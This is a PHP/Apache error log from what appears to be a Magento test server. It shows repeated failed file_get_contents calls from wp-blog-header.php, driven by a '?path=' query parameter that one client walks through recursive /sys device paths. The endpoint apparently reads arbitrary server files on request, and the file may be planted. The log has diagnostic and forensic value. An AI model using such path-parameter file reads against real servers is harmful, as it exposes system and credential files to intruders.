[Thu Mar 26 11:55:26.536404 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ba
[Thu Mar 26 11:55:29.809966 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:be
[Thu Mar 26 11:55:30.375786 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:55:30.903483 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ce
[Thu Mar 26 11:55:33.010880 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:bc
[Thu Mar 26 11:55:41.369429 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ac
[Thu Mar 26 11:55:42.922796 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:de
[Thu Mar 26 11:55:47.213613 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/drivers/ac
[Thu Mar 26 11:55:50.302721 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ba
[Thu Mar 26 11:55:50.779581 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:da
[Thu Mar 26 11:55:51.294492 2026] [php:warn] [pid 3107062] [client 74.7.241.26:57262] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ea
[Thu Mar 26 11:55:54.138987 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ca
[Thu Mar 26 11:55:54.738914 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:da
[Thu Mar 26 11:55:58.363573 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:bc
[Thu Mar 26 11:56:08.514303 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ec
[Thu Mar 26 11:56:12.095566 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:ac
[Thu Mar 26 11:56:13.146192 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:56:14.839052 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/drivers/ec
[Thu Mar 26 11:56:15.373327 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/devices/device:ca
[Thu Mar 26 11:56:15.909348 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:56:16.396266 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/drivers/ec
[Thu Mar 26 11:56:16.901729 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:be
[Thu Mar 26 11:56:27.451556 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac
[Thu Mar 26 11:56:28.074830 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:56:31.663976 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:56:35.854986 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:56:36.935605 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:56:38.100398 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:bc
[Thu Mar 26 11:56:39.114774 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:cc
[Thu Mar 26 11:56:41.255397 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:fa
[Thu Mar 26 11:56:43.948215 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:56:46.057112 2026] [php:warn] [pid 3106758] [client 74.7.241.26:57296] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:56:51.472732 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:fe
[Thu Mar 26 11:56:52.540621 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:56:55.171463 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be
[Thu Mar 26 11:56:57.780558 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:56:59.431643 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers/ac
[Thu Mar 26 11:57:02.056441 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:57:03.123972 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:57:04.627948 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/devices/device:ca
[Thu Mar 26 11:57:07.985580 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:57:15.465522 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec
[Thu Mar 26 11:57:18.126266 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ec
[Thu Mar 26 11:57:22.316012 2026] [php:warn] [pid 3107073] [client 74.7.241.26:37872] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/devices/device:ea
